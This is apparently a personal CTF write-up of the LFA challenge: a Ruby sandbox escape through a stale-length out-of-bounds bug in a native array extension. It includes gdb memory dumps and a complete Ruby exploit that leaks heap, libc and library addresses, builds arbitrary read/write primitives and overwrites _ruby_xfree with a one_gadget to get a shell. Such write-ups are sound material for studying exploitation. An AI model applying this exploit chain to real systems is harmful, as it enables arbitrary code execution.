Introduction
I did not take this challenge during the contest. But after reading the write-up of [1][2][3], I think it’s a good chance to learn about ruby and sandbox escape. According to my test on the local machine, it seems that using one_gadget to get shell is also feasible. In this post, I will talk about how to trigger the vulnerability and hijack control flow to get shell in the end.
Since this is my first time to write ruby script also my first time to write ruby escape, please forgive my ugly code XOrz.
Vulnerability Analysis
LFA module defines a few operations on a self-maintained array: Initialize, Assign, Get, Remove and Sum. In this challenge, Sum is not used in our exploit, therefore we will not discuss on that. And Initialize and Remove are not involved in triggering the vulnerability. We will focus on Assign and Remove.
To begin with, let me introduce the data structure used in this challenge.
struct head_node { int length; int short_mode; char *buffer; int array[0x10]; } struct data_node { int start_index; uint16_t free_flags; char *nextbuffer; int array[0x10]; }
Let me explain with the following sample code:
Case 1: When the size of the array is less than 0x10
The head_node is used to store data in its internal data structure. And short_mode is set.
require 'LFA' $arr = LFA.new() $arr[0] = 1; $arr[3] = 4; STDIN.gets();
The memory layout is given below:
(gdb) x/20gx $2 0x5643cd9637b0: 0x0000000100000010 0x00005643cd9637c0 0x5643cd9637c0: 0x0000000000000001 0x0000000400000000 0x5643cd9637d0: 0x0000000000000000 0x0000000000000000 0x5643cd9637e0: 0x0000000000000000 0x0000000000000000 0x5643cd9637f0: 0x0000000000000000 0x0000000000000000
Case 2: When the size of the array is larger than 0x10
For head_node, it no longer stores the data in its internal data structure. The short_mode is unset and length is set to the maximum valid value of index.
For data_note, each bit in free_flags denotes the in_use status of each data. Each bit is initialized to 1 in the first place. index is served as base index for picking which data_node to use in Get function.
require 'LFA' $arr = LFA.new() $arr[0] = 1; $arr[3] = 4; $arr[23] = 5; STDIN.gets();
(gdb) x/40gx $2 0x55c8723c3830: 0x0000000000000018 0x000055c8723c3890 0x55c8723c3840: 0x0000000000000001 0x0000000400000000 0x55c8723c3850: 0x0000000000000000 0x0000000000000000 0x55c8723c3860: 0x0000000000000000 0x0000000000000000 0x55c8723c3870: 0x0000000000000000 0x0000000000000000 0x55c8723c3880: 0x000055c8722c85e0 0x0000000000000061 0x55c8723c3890: 0x0000ffff00000000 0x000055c8723c38f0 0x55c8723c38a0: 0x0000000000000001 0x0000000400000000 0x55c8723c38b0: 0x0000000000000000 0x0000000000000000 0x55c8723c38c0: 0x0000000000000000 0x0000000000000000 0x55c8723c38d0: 0x0000000000000000 0x0000000000000000 0x55c8723c38e0: 0x000055c87238c468 0x0000000000000061 0x55c8723c38f0: 0x0000000100000017 0x0000000000000000 0x55c8723c3900: 0x0000000000000005 0x0000000000000000 0x55c8723c3910: 0x0000000000000000 0x0000000000000000 0x55c8723c3920: 0x0000000000000000 0x0000000000000000 0x55c8723c3930: 0x0000000000000000 0x0000000000000000
Assign function:
(1) If the short_mode is set it checks
(1-1) If the index is smaller than 0x10, it directly puts data into array.
(1-2) Otherwise, it moves the data in head_node to a newly allocated data_node and allocates the new value to another allocated data_node
(2) If the short_mode is not set
(2-1) If the index is smaller than length, it goes through the linked list and puts the data into proper data_node. If the data_note does not exist, allocate one.
(2-2) Otherwise, allocate one new date_node and insert data.
The vulnerability exists in Remove function. Remove function will set the corresponding data to 0 and set the corresponding bit in free_flags to zero. If all bits in free_flags are 0, it will unlink the data_node from linked list. The vulnerability exists in one operation of Remove. If there exists only one data_node in the linked list and its index, Remove will move the data in this data_node back to head_node. But the problem is that length is not set back to 0x10, its keep the original value, which results in out-of-bound read/write in the end. Let’s use the following sample code to explain.
require 'LFA' $arr = LFA.new() for i in 0..15 $arr[i] = 0x41; end $arr[0x15000] = 0x30; for i in 0..15 $arr.remove(i); end $arr[0] = 0x41; $arr.remove(0x15000); STDIN.gets();
In the end, we can observe that shor_mode is set, but the maximum size of current array is 0x15000.
(gdb) x/40gx $2 0x55e4059fa440: 0x0000000100015001 0x000055e4059fa450 0x55e4059fa450: 0x0000000000000041 0x0000000000000000 0x55e4059fa460: 0x0000000000000000 0x0000000000000000 0x55e4059fa470: 0x0000000000000000 0x0000000000000000 0x55e4059fa480: 0x0000000000000000 0x0000000000000000
Exploit Plan
To explain the exploit technique used in my script, we need to get to understand the internal of ruby language. In my exploit, we use Array object to leak and modify data. More details are given in [4].
Let me discuss only Array here with the sample code below
require 'LFA' $corruptArraySize = 0x40 $corruptArray = Array.new($corruptArraySize); for i in 0..$corruptArraySize $corruptArray[i] = Array.new(0x20); for j in 0..20 $corruptArray[i][j] = j+0x414141; end end STDIN.gets();
(gdb) x/40x 0x55a30c2959e0-0x10 0x55a30c2959d0: 0x6f6c6c61206f7420 0x0000000000000111 0x55a30c2959e0: 0x0000000000828283 0x0000000000828285 0x55a30c2959f0: 0x0000000000828287 0x0000000000828289 0x55a30c295a00: 0x000000000082828b 0x000000000082828d 0x55a30c295a10: 0x000000000082828f 0x0000000000828291 0x55a30c295a20: 0x0000000000828293 0x0000000000828295 0x55a30c295a30: 0x0000000000828297 0x0000000000828299 0x55a30c295a40: 0x000000000082829b 0x000000000082829d 0x55a30c295a50: 0x000000000082829f 0x00000000008282a1 0x55a30c295a60: 0x00000000008282a3 0x00000000008282a5 0x55a30c295a70: 0x00000000008282a7 0x00000000008282a9 0x55a30c295a80: 0x00000000008282ab 0x0000000000000008 0x55a30c295a90: 0x0000000000000008 0x0000000000000008 0x55a30c295aa0: 0x0000000000000008 0x0000000000000008 0x55a30c295ab0: 0x0000000000000008 0x0000000000000008 0x55a30c295ac0: 0x0000000000000008 0x0000000000000008 0x55a30c295ad0: 0x0000000000000008 0x0000000000000008 0x55a30c295ae0: 0x736d65672e302e33 0x0000000000000111 0x55a30c295af0: 0x0000000000828283 0x0000000000828285 0x55a30c295b00: 0x0000000000828287 0x0000000000828289 (gdb) x/20gx 0x55a30c3621c8 0x55a30c3621c8: 0x000055a30c2959e0 0x0000000000000007 0x55a30c3621d8: 0x000055a30c19bf18 0x0000000000000020 0x55a30c3621e8: 0x0000000000000020 0x000055a30c3d9220
In ruby, the integer value in Array is treated as an object and saved as original_value*2 + 1. The metadata for processing the saved data array is stored somewhere else in memory.
Since on 64-bit system, the initial oob read/write can only access at most 16MB data after the victim LFA array. The basic plan of exploitation is to corrupt the metadata first, and locate the address of LFA array and then address of LFA.so and libc.so. In the end, I corrupt the _ruby_xfree to one_gadget address and use Remove function to get a shell.
Exploit
require 'LFA' $largeSize = 0x15000 $arr = LFA.new(); for i in 0..15 $arr[i] = 0x41; end $arr[$largeSize] = 0x30; for i in 0..15 $arr.remove(i); end $arr[0] = 0x51; #$arr[1] = 0x51; #puts $arr[20000] $arr.remove($largeSize); def ToUint64(v1, v2) return ((v1<<32) | (v2 & 0xffffffff)); end def ToInt(num) if(num <= 0x7fffffff and num >= 0) return num; else return num - 0x100000000; end end $corruptArraySize = 0x40000 $corruptArray = Array.new($corruptArraySize); for i in 0..$corruptArraySize $corruptArray[i] = Array.new(0x20); for j in 0..20 $corruptArray[i][j] = j+0x414141; end end #start to search heap addr puts "Start to leak" $leakedHeapAddr = ToUint64($arr[0x17], $arr[0x16]); if($leakedHeapAddr == 0) puts "invalid Heap addr" exit end printf("Leaked heap: 0x%x\n", $leakedHeapAddr); $LFAArrayAddr = $leakedHeapAddr - 0xc0; printf("LFA Array base addr: 0x%x\n", $LFAArrayAddr); #start to leak libc.so addr $i = 0; while $i < 0x15000 do if( ( ($arr[$i+1] &0xffffff00) == 0x7f00) and (($arr[$i] & 0xfff) == 0xb58) ) #printf("0x%x\n", ToUint64($arr[$i+1], $arr[$i])); break; end $i = $i+2; end puts "Leak libc base addr" $libcBaseAddr =ToUint64($arr[$i+1], $arr[$i]) - 0x399b58; printf("leaked libc base addr: 0x%x\n", $libcBaseAddr); $i = 0; while $i < 0x15000 do if( ($arr[$i+2] == 0x20) and ( $arr[$i+4] == 0x20) ) if( ( ( ($arr[$i+1] &0xff00) == 0x5500) or ( ($arr[$i+1] &0xff00) == 0x5600)) and ($arr[$i-2] == 0x67)) break; end end $i = $i+2; end puts "Leak address of one of sprayed heaps" $baseIndex = $i if($i >= 0x15000) puts "Unable to find the array" exit end $arrayMetaDataAddr = $LFAArrayAddr + $i * 4 + 0x28; $corruptArrayBaseAddr = ToUint64($arr[$i+7], $arr[$i+6]); printf("corrupt Array base addr: 0x%x at 0x%x\n", $corruptArrayBaseAddr, $arrayMetaDataAddr); def write64(targetAddr, targetValue) index = (targetAddr - $LFAArrayAddr - 0x10)/4 printf("Index: 0x%x\n", index); printf("Target Value: 0x%x\n", targetValue); $arr[index] = ToInt(targetValue & 0xffffffff); $arr[index+1] = ToInt(targetValue >> 32); end def read64(targetAddr) index = (targetAddr - $LFAArrayAddr - 0x10)/4 printf("Index: 0x%x\n", index); return ToUint64($arr[index+1], $arr[index]); end write64($arrayMetaDataAddr, $LFAArrayAddr-0x80); puts "Search for the corrupted Array" for i in 0..$corruptArraySize if( $corruptArray[i][18] == 0x28) break; end end if(i>= $corruptArraySize) puts "Unable to find the corrupted array, maybe base address is wrong" exit end $corruptedArrayIndex = i; printf("The index of corrupted array in the sprayed arrays: 0x%x\n", $corruptedArrayIndex); $corruptArray[$corruptedArrayIndex][4] = 0x43445; $corruptArray[$corruptedArrayIndex][17] = ($LFAArrayAddr-0x20)/2; $arr[9] = 0; curMin = $LFAArrayAddr & 0xffffffff; for i in 0..32 if($arr[i*2 + 1] == ($LFAArrayAddr >>32)) if( $arr[i*2] < curMin ) printf("Search for proper base address: 0x%x%x\n", $arr[i*2+1], $arr[i*2]); curMin = $arr[i*2]; end if( $arr[i*2] == ($LFAArrayAddr & 0xffffff00)) break; end end end #corrupt the base address of LFA array to a smaller one $arrayOffset = i; printf("Array offset: 0x%x\n", $arrayOffset); $arr[(i-1)*2] = 0x405001; $arr[(i-1)*2+2] = curMin; #start to search for LFA BaseAddr while $i < 0x400000 do if( ( ($arr[$i+1] &0xffffff00) == 0x7f00) and (($arr[$i] & 0xfff) == 0xf90) ) printf("0x%x\n", ToUint64($arr[$i+1], $arr[$i])); if( ($arr[$i+1] &0xffff) <= ($libcBaseAddr >> 32) ) break; end end $i = $i+2; end if $i >= 0x400000 puts "Unable to locate the base address of LFA library" exit end $LFALibBaseAddr = ToUint64($arr[$i+1], ($arr[$i]-0xf90 )); printf("Base Address of LFA library: 0x%x\n", $LFALibBaseAddr); #start to reassign the base address of LFA array $corruptArray[$corruptedArrayIndex][17] = ($LFAArrayAddr-0x20)/2; puts $arrayOffset $arr[9] = ToInt( (($arrayOffset-1)*8+0xa) * 0x1000000 ); #change base address of LFA array to LFA.so $arr[0] = (($LFALibBaseAddr >> 16) & 0xffffffff) $currentLFAArrayBaseAddr = ($LFALibBaseAddr & 0xffffffff0000) + ($LFAArrayAddr & 0xfff0) + 0xa; printf("Current LFA Array base addr: 0x%x\n", $currentLFAArrayBaseAddr); #start to overwrite _ruby_xfree index = ($LFALibBaseAddr + 0x202028 - $currentLFAArrayBaseAddr - 2) / 4; $one_gadget_addr = $libcBaseAddr + 0x3f35a; $arr[index] = ToInt( ($one_gadget_addr& 0xffff)*0x10000 ); $arr[index+1] = ToInt( $one_gadget_addr >> 16 ); puts "Trigger" $arr.remove(); puts "Done"
The final result is given below:
Conclusion
According to my understanding on the seccomp filter used in this challenge, I should not be able to use one_gadget to get shell in the end because, syscall execve should be disabled in function seccomp_init. If there is any new findings on this challenge, I may update a new post to describe.
Reference
[1] https://gist.github.com/Charo-IT/52d3752c20499de72f65803a4762cd18
[2] https://github.com/david942j/ctf-writeups/tree/master/34c3ctf-2017/LFA
[3] http://gcli.cn/2017/12/31/LFA/
[4] https://ruby-hacking-guide.github.io/object.html